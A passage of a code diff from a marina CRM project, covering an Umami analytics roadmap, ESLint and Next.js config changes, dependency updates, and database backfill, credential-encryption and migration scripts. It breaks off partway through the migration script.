+| 4a    | Marketing-site event tracking                                                        | ~2-3h (marketing repo) | **High** — unblocks 3 + 5                                    |
+| 4b    | Pixel-based email open tracking (hybrid)                                             | ~3-4h                  | **High** — direct ask + immediate value                      |
+| 4c    | Tracked redirect links                                                               | ~1.5h                  | **Medium**                                                   |
+| 5     | Reports (Funnels, UTM, Journeys)                                                     | ~6-8h                  | **Medium** — depends on 4a being live                        |
+| 6     | CRM → Umami event push for outcome attribution                                       | ~2-3h                  | **Medium-high** — needed to close marketing→outcome loop     |
+| 7     | Cross-cutting placements (inquiry / client / berth detail cards)                     | ~3-4h                  | **Medium** — depends on `umami.identify()` on marketing site |
+
+**Recommended build order (updated 2026-05-19 per user):**
+
+1. ✅ **Service refactor** — Kept hand-rolled `umamiFetch` (the official `@umami/api-client` transitively pulls `next-basics` which requires React at module-import time, breaking SSR + tsx scripts). Adopted `@umami/node` for the write side.
+2. ✅ **Phase 1** — Overview parity (KPI tiles + browser/OS/device cards + date arrows + stacked-bar chart + `compare=prev` overlay)
+3. ✅ **Phase 1b** — World heatmap. **Switched from `react-simple-maps` to ECharts + `public/world-map/echarts-world.json`** — the `world-atlas/110m` topojson has antimeridian-crossing polygons (Russia/Fiji/Antarctica) that render a horizontal line through the equator regardless of projection. ECharts' world.json is pre-cleaned.
+4. ✅ **Phase 4b** — Pixel-based email open tracking. `document_send_opens` table + `/api/public/email-pixel/[sendId]` endpoint + `injectTrackingPixel` helper wired into `performSend`. Per-port kill switch `email_open_tracking_enabled` (admin UI on `/admin/website-analytics`). Cross-posts to Umami as `email-opened`.
+5. ✅ **Phase 2** — Sessions surface. `SessionsList` (paginated, click-through to detail), `SessionDetailSheet` (full activity stream), `WeeklyHeatmap` (7×24 grid). API endpoints `sessions`, `session`, `session-activity`, `sessions-weekly`.
+6. ✅ **Phase 6** — CRM → Umami event push. `trackEvent` calls wired into `createInterest` (`interest-created`), `updateInterestStage` (`interest-stage-changed`), `setInterestOutcome` (`interest-outcome-set`).
+7. ✅ **Phase 7** — Cross-cutting placements. `email-sent` (in `performSend`), `eoi-signed` (in `handleDocumentCompleted`). Remaining placements (inquiry / berth detail attribution cards) defer until UI surfaces them.
+8. ✅ **Phase 4c** — Tracked redirect links. `tracked_links` + `tracked_link_clicks` tables + `/q/[slug]` redirect endpoint + `createTrackedLink` / `buildTrackedUrl` service helpers. Email-composer integration deferred to UI follow-up.
+9. **Phase 3 + Phase 5 — DEFERRED to the end.** Events tab is empty until marketing-site `umami.track()` calls land (Phase 4a, deferred). Funnels save for the end per user direction — pageview-only marketing funnel is the v1; richer event-based funnels come later.
+10. **Phase 4a + cross-system funnels** — when there's appetite for marketing-site repo changes, unlock Events tab + cross-system funnels.
+
+**Total scope: ~22-28h** with library adoptions, of which ~13-15h is the high-priority Phases 1 + 1b + 4b + 2 + 6 that ship first.
+
+Total scope: ~30-40h end-to-end for the full flesh-out.
+
+---
+
+## 6. What stays in Umami vs. mirrored in CRM
+
+| In CRM (mirror)                                             | In Umami only (deep-link)                                         |
+| ----------------------------------------------------------- | ----------------------------------------------------------------- |
+| Overview / KPI tiles / trend chart                          | Replays (paid)                                                    |
+| Sessions list + detail                                      | Retention (low signal)                                            |
+| Top pages / referrers / countries / browsers / OS / devices | Saved Boards (admin power-user)                                   |
+| Events + per-event drill                                    | Pixels/Links admin CRUD (use Umami for setup; render data in CRM) |
+| Funnels + UTM + Journeys                                    | Performance / Web Vitals                                          |
+| World heatmap                                               | Cohorts / Segments (defer until use case emerges)                 |
+| Email open tracking                                         | Multi-website CRUD                                                |
+
+Every page header in the CRM analytics surface gets a small "View in Umami →" outbound link in the corner for power users who want the full feature surface.
+
+---
+
+## 7. Open questions for the user before implementation
+
+1. **Marketing site repo access**: Phase 4a (umami.track calls), Phase 4 (umami.identify for client linkage), and Phase 7 (passing sessionId to inquiry intake) all require changes there. Confirm whoever owns the marketing site is in the loop.
+2. **Pixel hybrid vs Umami-only**: do you want per-recipient open tracking (hybrid) or just aggregate (Umami-only)? Recommended hybrid above; switch to Umami-only if the engineering cost isn't worth it.
+3. **Funnel definitions**: who defines the canonical funnels? Suggest admins set them up via a CRM-side admin page that POSTs to Umami's `/api/reports/funnel`, with the most important funnels (inquiry, email-conversion) seeded as defaults at install time.
+4. **Privacy / GDPR**: email pixel tracking + `umami.identify({email})` linkage both touch PII. Confirm consent model — likely already handled by the marketing-site cookie banner, but the email pixel needs explicit opt-out handling (e.g. don't fire pixel if the recipient is in a do-not-track list).

eslint.config.mjs

@@ -5,6 +5,13 @@ const eslintConfig = [
   ...nextCoreWebVitals,
   prettier,
   {
+    // Scope the typescript-eslint rule overrides to TS/TSX files. Without
+    // the `files` filter, eslint flat-config attempts to apply these
+    // rules to every walked file (including root-level JS / mjs / json
+    // configs) and fails because the typescript-eslint plugin only
+    // registers itself for TS/TSX. Surfaced 2026-05-14 when CI's
+    // `pnpm lint` command ran across the whole repo root.
+    files: ['**/*.ts', '**/*.tsx'],
     rules: {
       '@typescript-eslint/no-explicit-any': 'error',
       '@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_' }],
@@ -26,19 +33,98 @@ const eslintConfig = [
       'react-hooks/refs': 'error',
       'react-hooks/set-state-in-effect': 'error',
       'react-hooks/incompatible-library': 'off',
+      // Icon-only buttons must carry a label that screen readers can
+      // surface — either an explicit `aria-label`, an `aria-labelledby`,
+      // a `title`, or a visible-but-sr-only text child. Catches the
+      // pattern where a `<button><Trash2 /></button>` ships with no
+      // accessible name. Default Next config enables this at `error`;
+      // we keep it loud so new code doesn't regress.
+      'jsx-a11y/control-has-associated-label': [
+        'warn',
+        {
+          labelAttributes: ['label'],
+          controlComponents: ['Button'],
+          ignoreElements: ['audio', 'canvas', 'embed', 'input', 'textarea', 'tr', 'video'],
+          ignoreRoles: [
+            'grid',
+            'listbox',
+            'menu',
+            'menubar',
+            'radiogroup',
+            'row',
+            'tablist',
+            'toolbar',
+            'tree',
+            'treegrid',
+          ],
+          depth: 5,
+        },
+      ],
+    },
+  },
+  {
+    // User-facing copy in src/components and src/app should never use
+    // em-dashes (—) in JSX text. The user reads em-dashes as a
+    // tell-tale "AI-generated" marker; we prefer periods, commas, or
+    // simple hyphens. Code comments / audit-log strings / templates
+    // outside these directories are exempt.
+    //
+    // Same rule block also nudges new code toward CSS logical properties
+    // (ms-/me-/ps-/pe-/text-start/text-end/border-s/border-e) instead of
+    // physical Tailwind utilities. RTL isn't a roadmap requirement today,
+    // but every new ml-/mr-/pl-/pr-/text-left/text-right we accept now
+    // is a class we'd have to migrate later. Existing 1,000+ sites stay
+    // untouched (warn-only). Inline `// eslint-disable-next-line` when
+    // the directional intent is truly physical (e.g. a chevron icon).
+    files: ['src/components/**/*.tsx', 'src/app/**/*.tsx'],
+    rules: {
+      // Both selectors share `warn` severity because the RTL nudge is
+      // grandfathered (1,000+ existing sites use ml-/mr-/etc). The
+      // em-dash sweep cleared every existing instance (2026-05-21), so
+      // `warn` still effectively gates new code — it just doesn't break
+      // CI on grandfathered RTL utilities. Inline
+      // `// eslint-disable-next-line no-restricted-syntax` when the
+      // directional intent is truly physical.
+      'no-restricted-syntax': [
+        'warn',
+        {
+          selector: "JSXText[value=/\\u2014/]",
+          message:
+            'No em-dash in user-facing JSX text. Use period, comma, or hyphen instead.',
+        },
+        {
+          selector:
+            "JSXAttribute[name.name='className'] > Literal[value=/(?:^|[\\s:])(?:ml-|mr-|pl-|pr-|text-left|text-right|border-l\\b|border-r\\b|rounded-l-|rounded-r-)/]",
+          message:
+            'Prefer CSS logical properties (ms-/me-/ps-/pe-/text-start/text-end/border-s/border-e/rounded-s-/rounded-e-) over physical directional Tailwind utilities. Existing code is grandfathered; new code should default to logical so a future RTL pass is bounded.',
+        },
+      ],
     },
   },
   {
     // Tests assert response shape via expect() — narrowing every
     // `res.json()` to a structural type adds boilerplate without catching
-    // bugs. Allow `any` casts at JSON boundaries in test files.
+    // bugs. Allow `any` casts at JSON boundaries in test files. Also
+    // relax unused-vars to warn (destructured-but-unused helpers are
+    // common in setup/teardown patterns).
     files: ['tests/**/*.ts', 'tests/**/*.tsx'],
     rules: {
       '@typescript-eslint/no-explicit-any': 'off',
+      '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_' }],
     },
   },
   {
-    ignores: ['client-portal/**', 'next-env.d.ts'],
+    ignores: [
+      'client-portal/**',
+      'next-env.d.ts',
+      // Agent worktree artifacts — not part of the canonical tree.
+      '.claude/**',
+      // Build output + Next generated types
+      '.next/**',
+      'dist/**',
+      // Other sub-projects with their own toolchains
+      'website/**',
+    ],
   },
 ];
 

messages/en.json

@@ -1,9 +0,0 @@
-{
-  "common": {
-    "save": "Save",
-    "cancel": "Cancel",
-    "delete": "Delete",
-    "edit": "Edit",
-    "back": "Back"
-  }
-}

next-env.d.ts

@@ -1,6 +1,6 @@
 /// <reference types="next" />
 /// <reference types="next/image-types/global" />
-import './.next/types/routes.d.ts';
+import "./.next/dev/types/routes.d.ts";
 
 // NOTE: This file should not be edited
 // see https://nextjs.org/docs/app/api-reference/config/typescript for more information.

next.config.ts

@@ -1,13 +1,7 @@
 import type { NextConfig } from 'next';
 import bundleAnalyzer from '@next/bundle-analyzer';
-import createNextIntlPlugin from 'next-intl/plugin';
 import { withSentryConfig } from '@sentry/nextjs';
 
-// next-intl plugin — points at our request-config entrypoint. Even
-// though we ship only English today, the plugin is wired so future
-// locale additions are a config-only change, not a code rewrite.
-const withNextIntl = createNextIntlPlugin('./src/i18n/request.ts');
-
 const isProd = process.env.NODE_ENV === 'production';
 
 // Wrap the config with the bundle analyzer. Run `ANALYZE=true pnpm build`
@@ -84,11 +78,13 @@ const nextConfig: NextConfig = {
   // visible in every screenshot from the iPhone testing pass.
   devIndicators: false,
   // LAN access from a real iPhone hits the dev server via the Mac's
-  // local IP (e.g. 192.168.x.x), not localhost. Next 15 surfaces a
-  // warning for cross-origin /_next/* fetches unless we allow-list the
-  // origins explicitly. Wildcard the 192.168/0.0.0.0 ranges in dev so
-  // any LAN device works without a config edit per network.
-  ...(isProd ? {} : { allowedDevOrigins: ['192.168.1.42'] }),
+  // local IP (e.g. 192.168.x.x), not localhost. Next surfaces a warning
+  // and blocks cross-origin /_next/* fetches (incl. HMR) unless we
+  // allow-list the origins explicitly. When HMR is blocked the page
+  // never fully hydrates and form click handlers fall back to native
+  // submits — the symptom that bit us with a hard-coded IP. Wildcards
+  // cover any LAN device without a per-network config edit.
+  ...(isProd ? {} : { allowedDevOrigins: ['192.168.*.*', '10.*.*.*', '172.16.*.*', '172.20.*.*'] }),
   // Native/CJS-leaning server-only packages — list here so Next doesn't
   // bundle them into the route trace (slower cold start + risk that
   // native bindings fail at runtime). Build-auditor C3+M3: socket.io
@@ -118,6 +114,10 @@ const nextConfig: NextConfig = {
     remotePatterns: [{ protocol: 'https', hostname: '*.portnimara.com' }],
   },
   typedRoutes: true,
+  // ECharts ships ES modules that older Next/webpack versions can't parse
+  // without a transpile-pass. Listing here is the official recommendation
+  // from echarts-for-react when used inside Next.
+  transpilePackages: ['echarts', 'zrender', 'echarts-for-react'],
   outputFileTracingIncludes: {
     // Bundle the EOI source PDF so the in-app EOI pathway can read it at
     // runtime in the standalone build. Reading via fs.readFile from
@@ -165,4 +165,4 @@ const withSentry = process.env.NEXT_PUBLIC_SENTRY_DSN
       })
   : (cfg: NextConfig) => cfg;
 
-export default withSentry(withBundleAnalyzer(withNextIntl(nextConfig)));
+export default withSentry(withBundleAnalyzer(nextConfig));

package.json

@@ -9,7 +9,7 @@
     "build:server": "esbuild src/server.ts --bundle --platform=node --target=node20 --format=cjs --outdir=dist --packages=external --tsconfig=tsconfig.server.json",
     "build:worker": "esbuild src/worker.ts --bundle --platform=node --target=node20 --format=cjs --outdir=dist --packages=external --tsconfig=tsconfig.server.json",
     "start": "next start",
-    "lint": "next lint",
+    "lint": "eslint .",
     "format": "prettier --write \"src/**/*.{ts,tsx,json,css}\"",
     "db:generate": "drizzle-kit generate",
     "db:push": "drizzle-kit push",
@@ -67,6 +67,7 @@
     "@tanstack/react-table": "^8.21.3",
     "@tanstack/react-virtual": "^3.13.24",
     "@types/pdfkit": "^0.17.6",
+    "@umami/node": "^0.4.0",
     "@use-gesture/react": "^10.3.1",
     "archiver": "^7.0.1",
     "better-auth": "^1.6.11",
@@ -75,10 +76,14 @@
     "class-variance-authority": "^0.7.1",
     "clsx": "^2.1.1",
     "cmdk": "^1.1.1",
+    "country-flag-icons": "^1.6.17",
     "cron-parser": "^5.5.0",
     "date-fns": "^4.1.0",
     "drizzle-orm": "^0.45.2",
+    "echarts": "^6.0.0",
+    "echarts-for-react": "^3.0.6",
     "embla-carousel-react": "^8.6.0",
+    "exceljs": "^4.4.0",
     "imapflow": "^1.3.3",
     "ioredis": "^5.10.1",
     "iso-3166-2": "^1.0.0",
@@ -90,7 +95,6 @@
     "minio": "^8.0.7",
     "motion": "^12.38.0",
     "next": "16.2.6",
-    "next-intl": "^4.11.2",
     "next-themes": "^0.4.6",
     "nodemailer": "^8.0.7",
     "openai": "^6.37.0",
@@ -141,6 +145,7 @@
     "@tailwindcss/postcss": "^4.3.0",
     "@total-typescript/ts-reset": "^0.6.1",
     "@types/archiver": "^7.0.0",
+    "@types/geojson": "^7946.0.16",
     "@types/iso-3166-2": "^1.0.4",
     "@types/mailparser": "^3.4.6",
     "@types/node": "^20.19.0",
@@ -148,6 +153,7 @@
     "@types/papaparse": "^5.5.2",
     "@types/react": "^19.2.14",
     "@types/react-dom": "^19.2.3",
+    "@types/topojson-client": "^3.1.5",
     "@vitejs/plugin-react": "^6.0.1",
     "@vitest/coverage-v8": "^4.1.6",
     "dotenv": "^17.4.2",

scripts/audit-permissions.ts

@@ -73,10 +73,6 @@ const ALLOW_LIST: ReadonlyArray<{ pattern: RegExp; reason: string }> = [
     pattern: /\/custom-fields\/\[entityId\]\//,
     reason: 'TODO: needs custom_fields:* permission. PUT path internally validated.',
   },
-  {
-    pattern: /\/berth-reservations\/\[id\]\/route\.ts$/,
-    reason: 'TODO: PATCH should map to reservations:edit (not currently in catalog).',
-  },
 ];
 
 interface Finding {

scripts/backfill-eoi-signers.ts

@@ -0,0 +1,158 @@
+/**
+ * Backfill `document_signers` rows for EOI documents that were generated
+ * before the per-recipient signer-row insert landed (pre-2026-05-15).
+ *
+ * Symptom on the affected docs: the EOI tab's "Signing progress" panel
+ * reads "No signers loaded" forever because the webhook handler updates
+ * existing rows (by token / email) and never inserts new ones.
+ *
+ * This script walks every documents row that has a documensoId, status
+ * in ('sent', 'partially_signed', 'completed'), and zero signer rows.
+ * For each, it pulls the envelope from Documenso and recreates the
+ * signer rows from the recipients array. Idempotent — safe to re-run.
+ *
+ * Usage:
+ *   pnpm tsx scripts/backfill-eoi-signers.ts            # dry-run, lists candidates
+ *   pnpm tsx scripts/backfill-eoi-signers.ts --apply    # actually inserts
+ */
+
+import 'dotenv/config';
+import { and, inArray, isNotNull, sql } from 'drizzle-orm';
+
+import { db, closeDb } from '@/lib/db';
+import { documents, documentSigners } from '@/lib/db/schema/documents';
+import { getDocument as getDocumensoDoc } from '@/lib/services/documenso-client';
+import { logger } from '@/lib/logger';
+
+interface BackfillStats {
+  scanned: number;
+  withZeroSigners: number;
+  inserted: number;
+  failed: number;
+  skipped: number;
+}
+
+async function main() {
+  const apply = process.argv.includes('--apply');
+
+  // 1. Find candidate documents: in-flight or completed EOIs with a
+  //    documensoId and no signer rows.
+  const candidates = await db
+    .select({
+      id: documents.id,
+      portId: documents.portId,
+      documensoId: documents.documensoId,
+      status: documents.status,
+      documentType: documents.documentType,
+      title: documents.title,
+      signerCount: sql<number>`(
+        SELECT COUNT(*)::int FROM ${documentSigners}
+        WHERE ${documentSigners.documentId} = ${documents.id}
+      )`,
+    })
+    .from(documents)
+    .where(
+      and(
+        inArray(documents.status, ['sent', 'partially_signed', 'completed']),
+        isNotNull(documents.documensoId),
+      ),
+    );
+
+  const stats: BackfillStats = {
+    scanned: candidates.length,
+    withZeroSigners: 0,
+    inserted: 0,
+    failed: 0,
+    skipped: 0,
+  };
+
+  const needsBackfill = candidates.filter((c) => c.signerCount === 0);
+  stats.withZeroSigners = needsBackfill.length;
+
+  console.log(
+    `Scanned ${stats.scanned} document${stats.scanned === 1 ? '' : 's'}; ${stats.withZeroSigners} need backfill.`,
+  );
+  if (!apply) {
+    console.log('\nDRY RUN (pass --apply to insert):');
+    for (const doc of needsBackfill) {
+      console.log(`  - ${doc.id} (${doc.title}) — port=${doc.portId}, status=${doc.status}`);
+    }
+    await closeDb();
+    return;
+  }
+
+  // 2. For each candidate, fetch the envelope from Documenso and insert
+  //    the signer rows. Failures are logged + counted; processing
+  //    continues so one broken doc doesn't halt the run.
+  for (const doc of needsBackfill) {
+    if (!doc.documensoId) {
+      stats.skipped++;
+      continue;
+    }
+    try {
+      const envelope = await getDocumensoDoc(doc.documensoId, doc.portId);
+      if (envelope.recipients.length === 0) {
+        logger.warn({ documentId: doc.id }, 'Backfill: envelope has no recipients — skipping');
+        stats.skipped++;
+        continue;
+      }
+
+      // Use the same role-mapping logic as the create-time flow:
+      //   - signingOrder=1 + role SIGNER  →  'client' (positional)
+      //   - SIGNER otherwise              →  'signer'
+      //   - APPROVER                      →  'approver'
+      //   - CC / VIEWER                   →  pass-through
+      const rows = envelope.recipients.map((r) => {
+        const cleanName = (r.name || r.email)
+          .replace(/\s*\(was:[^)]*\)/i, '')
+          .replace(/\s*\(placeholder\)/i, '')
+          .trim();
+        const upRole = r.role.toUpperCase();
+        const role =
+          upRole === 'SIGNER' && r.signingOrder === 1
+            ? 'client'
+            : upRole === 'APPROVER'
+              ? 'approver'
+              : upRole === 'CC'
+                ? 'cc'
+                : upRole === 'VIEWER'
+                  ? 'viewer'
+                  : 'signer';
+        return {
+          documentId: doc.id,
+          signerName: cleanName || r.email,
+          signerEmail: r.email,
+          signerRole: role,
+          signingOrder: r.signingOrder,
+          status: (r.status === 'SIGNED' ? 'signed' : 'pending') as 'signed' | 'pending',
+          signingUrl: r.signingUrl ?? null,
+          embeddedUrl: r.embeddedUrl ?? null,
+          signingToken: r.token ?? null,
+          // No invitedAt — the backfill can't reconstruct the original
+          // dispatch timestamp. Reps see the card as "Not yet invited"
+          // for any pending signer; clicking Send invitation re-stamps.
+          invitedAt: null,
+        };
+      });
+
+      await db.insert(documentSigners).values(rows);
+      stats.inserted += rows.length;
+      console.log(`  ✓ ${doc.id} (${doc.title}) — inserted ${rows.length} signer row(s)`);
+    } catch (err) {
+      stats.failed++;
+      logger.error(
+        { err: err instanceof Error ? err.message : err, documentId: doc.id },
+        'Backfill failed for document',
+      );
+      console.log(`  ✗ ${doc.id} — ${err instanceof Error ? err.message : 'unknown error'}`);
+    }
+  }
+
+  console.log(`\nDone. inserted=${stats.inserted} failed=${stats.failed} skipped=${stats.skipped}`);
+  await closeDb();
+}
+
+main().catch((err) => {
+  console.error(err);
+  process.exit(1);
+});

scripts/backfill-nested-document-folders.ts

@@ -0,0 +1,83 @@
+#!/usr/bin/env tsx
+/**
+ * Phase 2 nested-subfolders backfill.
+ *
+ * Re-files every existing `files` row that has `entity_type='interest'`
+ * (or a non-null `interest_id`) under a nested
+ * `Clients/<Name>/<Interest folder>/` subfolder. Idempotent — already-
+ * filed rows are skipped.
+ *
+ * Run dry-first to confirm the row count:
+ *   pnpm tsx scripts/backfill-nested-document-folders.ts
+ *
+ * Apply for real:
+ *   pnpm tsx scripts/backfill-nested-document-folders.ts --apply
+ *
+ * Per-port advisory lock so two operators can't race a backfill on the
+ * same port. Lock id is the FNV-1a hash of `port_id` so concurrent
+ * backfills against different ports don't block each other.
+ */
+
+import { sql } from 'drizzle-orm';
+
+import { db } from '../src/lib/db';
+import { ensureEntityFolder } from '../src/lib/services/document-folders.service';
+
+const APPLY = process.argv.includes('--apply');
+
+function fnv1a(input: string): number {
+  // Simple deterministic 32-bit hash — used as the advisory-lock id so
+  // the lock is stable across runs. PostgreSQL accepts a bigint here.
+  let hash = 0x811c9dc5;
+  for (let i = 0; i < input.length; i++) {
+    hash ^= input.charCodeAt(i);
+    hash = Math.imul(hash, 0x01000193);
+  }
+  return hash >>> 0;
+}
+
+async function main() {
+  console.log(`[backfill-nested-folders] dry-run=${!APPLY}`);
+
+  // 1. Gather every (port_id, interest_id) pair whose files need to be
+  //    nested. We only need to ensure the folder exists — the
+  //    `files.interest_id` column is populated separately by Phase 1.
+  const rows = await db.execute<{ port_id: string; interest_id: string; row_count: number }>(
+    sql`
+      SELECT f.port_id, f.interest_id, COUNT(*)::int AS row_count
+      FROM files f
+      WHERE f.interest_id IS NOT NULL
+        AND f.archived_at IS NULL
+      GROUP BY f.port_id, f.interest_id
+      ORDER BY f.port_id, f.interest_id
+    `,
+  );
+
+  // postgres-js returns the raw result iterable; the `.rows` property is
+  // pgnative-only — iterate the result directly.
+  const list = Array.isArray(rows) ? rows : ((rows as { rows?: typeof rows }).rows ?? rows);
+  console.log(`[backfill-nested-folders] ${list.length} (port, interest) pairs to process`);
+  for (const row of list as Array<{ port_id: string; interest_id: string; row_count: number }>) {
+    const lockId = fnv1a(row.port_id);
+    if (APPLY) {
+      await db.execute(sql`SELECT pg_advisory_xact_lock(${lockId}::bigint)`);
+      // ensureEntityFolder is idempotent — running it for a pair that
+      // already has its folder is a cheap select.
+      await ensureEntityFolder(row.port_id, 'interest', row.interest_id, 'system');
+    }
+    console.log(
+      `  ${APPLY ? '✓' : '·'} port=${row.port_id.slice(0, 8)} interest=${row.interest_id.slice(
+        0,
+        8,
+      )} files=${row.row_count}`,
+    );
+  }
+
+  console.log(`[backfill-nested-folders] done.`);
+  process.exit(0);
+}
+
+main().catch((err) => {
+  console.error('[backfill-nested-folders] failed', err);
+  process.exit(1);
+});

scripts/dev-reset-admin-pw.ts

@@ -0,0 +1,28 @@
+import 'dotenv/config';
+import { and, eq } from 'drizzle-orm';
+
+import { auth } from '@/lib/auth';
+import { db } from '@/lib/db';
+import { user, account } from '@/lib/db/schema/users';
+
+async function main() {
+  const email = process.argv[2] ?? 'admin@portnimara.test';
+  const pw = process.argv[3] ?? 'SuperAdmin12345!';
+  const [u] = await db.select().from(user).where(eq(user.email, email)).limit(1);
+  if (!u) throw new Error(`user not found: ${email}`);
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  const ctx = await (auth as any).$context;
+  const hash = await ctx.password.hash(pw);
+  const res = await db
+    .update(account)
+    .set({ password: hash })
+    .where(and(eq(account.userId, u.id), eq(account.providerId, 'credential')))
+    .returning({ id: account.id });
+  console.log(`updated ${res.length} credential row(s) for ${email}`);
+  process.exit(0);
+}
+
+main().catch((e) => {
+  console.error(e);
+  process.exit(1);
+});

scripts/encrypt-plaintext-credentials.ts

@@ -0,0 +1,138 @@
+/**
+ * One-time migration: encrypt any plaintext credential rows in
+ * `system_settings` that should now be AES-256-GCM encrypted per the
+ * settings registry. Safe to re-run (idempotent — only touches plaintext
+ * rows, skips rows that are already encrypted envelopes).
+ *
+ * Currently handles:
+ *   - `documenso_api_key_override`            → in-place encrypt
+ *   - `storage_s3_access_key` (legacy)        → encrypt + move to
+ *                                                `storage_s3_access_key_encrypted`
+ *   - `documenso_webhook_secret` (if string)  → in-place encrypt
+ *
+ * Run: `pnpm tsx scripts/encrypt-plaintext-credentials.ts`
+ */
+import { and, eq, isNull } from 'drizzle-orm';
+
+import { db } from '@/lib/db';
+import { systemSettings } from '@/lib/db/schema';
+import { encrypt } from '@/lib/utils/encryption';
+
+const KEYS_TO_ENCRYPT_IN_PLACE = ['documenso_api_key_override', 'documenso_webhook_secret'];
+
+function isEncryptedEnvelope(value: unknown): boolean {
+  return (
+    typeof value === 'object' &&
+    value !== null &&
+    typeof (value as { iv?: unknown }).iv === 'string' &&
+    typeof (value as { tag?: unknown }).tag === 'string' &&
+    typeof (value as { data?: unknown }).data === 'string'
+  );
+}
+
+async function encryptInPlace(key: string): Promise<{ touched: number; skipped: number }> {
+  const rows = await db
+    .select({ key: systemSettings.key, portId: systemSettings.portId, value: systemSettings.value })
+    .from(systemSettings)
+    .where(eq(systemSettings.key, key));
+
+  let touched = 0;
+  let skipped = 0;
+  for (const row of rows) {
+    if (isEncryptedEnvelope(row.value)) {
+      skipped++;
+      continue;
+    }
+    if (typeof row.value !== 'string' || row.value === '') {
+      skipped++;
+      continue;
+    }
+    const envelope = JSON.parse(encrypt(row.value)) as {
+      iv: string;
+      tag: string;
+      data: string;
+    };
+    if (row.portId) {
+      await db
+        .update(systemSettings)
+        .set({ value: envelope, updatedAt: new Date() })
+        .where(and(eq(systemSettings.key, key), eq(systemSettings.portId, row.portId)));
+    } else {
+      await db
+        .update(systemSettings)
+        .set({ value: envelope, updatedAt: new Date() })
+        .where(and(eq(systemSettings.key, key), isNull(systemSettings.portId)));
+    }
+    touched++;
+  }
+  return { touched, skipped };
+}
+
+async function moveS3AccessKeyToEncrypted(): Promise<{
+  moved: number;
+  alreadyMigrated: number;
+}> {
+  // Move global rows only — s3 storage settings are global by design.
+  const legacyRows = await db
+    .select({ value: systemSettings.value })
+    .from(systemSettings)
+    .where(and(eq(systemSettings.key, 'storage_s3_access_key'), isNull(systemSettings.portId)));
+
+  if (legacyRows.length === 0) {
+    return { moved: 0, alreadyMigrated: 0 };
+  }
+
+  // Check if the encrypted form already exists.
+  const existingEncrypted = await db
+    .select({ key: systemSettings.key })
+    .from(systemSettings)
+    .where(
+      and(eq(systemSettings.key, 'storage_s3_access_key_encrypted'), isNull(systemSettings.portId)),
+    );
+
+  if (existingEncrypted.length > 0) {
+    // Encrypted form wins; leave the legacy row in place so reads still
+    // tolerate it (the storage layer reads both and prefers encrypted).
+    return { moved: 0, alreadyMigrated: legacyRows.length };
+  }
+
+  const plaintext = legacyRows[0]!.value;
+  if (typeof plaintext !== 'string' || plaintext === '') {
+    return { moved: 0, alreadyMigrated: 0 };
+  }
+  const envelope = JSON.parse(encrypt(plaintext)) as { iv: string; tag: string; data: string };
+  await db.insert(systemSettings).values({
+    key: 'storage_s3_access_key_encrypted',
+    portId: null,
+    value: envelope,
+  });
+  // Drop the legacy plaintext row so it doesn't show up in admin
+  // settings dumps anymore. The storage layer's backward-compat path
+  // continues to handle older rows on other deployments.
+  await db
+    .delete(systemSettings)
+    .where(and(eq(systemSettings.key, 'storage_s3_access_key'), isNull(systemSettings.portId)));
+  return { moved: 1, alreadyMigrated: 0 };
+}
+
+async function main(): Promise<void> {
+  console.log('Encrypting plaintext credentials...');
+
+  for (const key of KEYS_TO_ENCRYPT_IN_PLACE) {
+    const { touched, skipped } = await encryptInPlace(key);
+    console.log(`  ${key}: ${touched} encrypted, ${skipped} skipped`);
+  }
+
+  const s3 = await moveS3AccessKeyToEncrypted();
+  console.log(
+    `  storage_s3_access_key → _encrypted: ${s3.moved} moved, ${s3.alreadyMigrated} already migrated`,
+  );
+
+  console.log('Done.');
+  process.exit(0);
+}
+
+main().catch((err: unknown) => {
+  console.error('Migration failed:', err);
+  process.exit(1);
+});

scripts/migrate-from-nocodb.ts

@@ -30,6 +30,7 @@ import { eq } from 'drizzle-orm';
 
 import { db } from '@/lib/db';
 import { ports } from '@/lib/db/schema/ports';
+import { SUPER_ADMIN_USER_ID } from '@/lib/db/seed-bootstrap';
 import { applyPlan } from '@/lib/dedup/migration-apply';
 import { fetchSnapshot, loadNocoDbConfig } from '@/lib/dedup/nocodb-source';
 import { transformSnapshot } from '@/lib/dedup/migration-transform';
@@ -154,7 +155,7 @@ async function main(): Promise<void> {
   const snapshot = await fetchSnapshot(config);
   const elapsed = ((Date.now() - start) / 1000).toFixed(1);
   console.log(
-    `[migrate] Snapshot fetched in ${elapsed}s — ${snapshot.interests.length} interests, ${snapshot.residentialInterests.length} residential, ${snapshot.berths.length} berths.`,
+    `[migrate] Snapshot fetched in ${elapsed}s — ${snapshot.interests.length} interests, ${snapshot.residentialInterests.length} residential, ${snapshot.berths.length} berths, ${snapshot.expenses?.length ?? 0} expenses.`,
   );
 
   console.log('[migrate] Running transform + dedup pipeline…');
@@ -184,6 +185,7 @@ async function main(): Promise<void> {
   console.log(
     `             ${s.outputResidentialClients} residential clients (with default-stage interests)`,
   );
+  console.log(`             ${s.outputExpenses} expenses`);
   console.log(
     `  Dedup:     ${s.autoLinkedClusters} auto-linked clusters, ${s.needsReviewPairs} pairs flagged for review`,
   );
@@ -208,7 +210,7 @@ async function main(): Promise<void> {
   console.log('[migrate] Inserting…');
 
   const applyStart = Date.now();
-  const result = await applyPlan(plan, { port, applyId });
+  const result = await applyPlan(plan, { port, applyId, appliedBy: SUPER_ADMIN_USER_ID });
   const applyElapsed = ((Date.now() - applyStart) / 1000).toFixed(1);
 
   console.log('');
@@ -231,6 +233,9 @@ async function main(): Promise<void> {
     `  Res-Clt:   ${result.residentialClientsInserted} inserted, ${result.residentialClientsSkipped} already linked`,
   );
   console.log(`  Res-Int:   ${result.residentialInterestsInserted} inserted`);
+  console.log(
+    `  Expenses:  ${result.expensesInserted} inserted, ${result.expensesSkipped} already linked`,
+  );
 
   if (result.warnings.length > 0) {
     console.log('');
@@ -242,6 +247,27 @@ async function main(): Promise<void> {
       console.log(`  … ${result.warnings.length - 20} more`);
     }
   }
+
+  // ── Multi-berth links (folded in for the one-shot seed) ──────────────────
+  // The dedup plan only carries each deal's single `Berth Number`; the legacy
+  // `_nc_m2m_Berths_Interests` junction (multi-berth deals) is reconnected
+  // here from the local `nocodb_legacy` snapshot. Best-effort: if the dump
+  // isn't restored, log + continue (the standalone script can run it later).
+  try {
+    const { connectBerthLinks } = await import('./migration/connect-berth-links');
+    const bl = await connectBerthLinks({ portSlug: port.slug });
+    console.log(
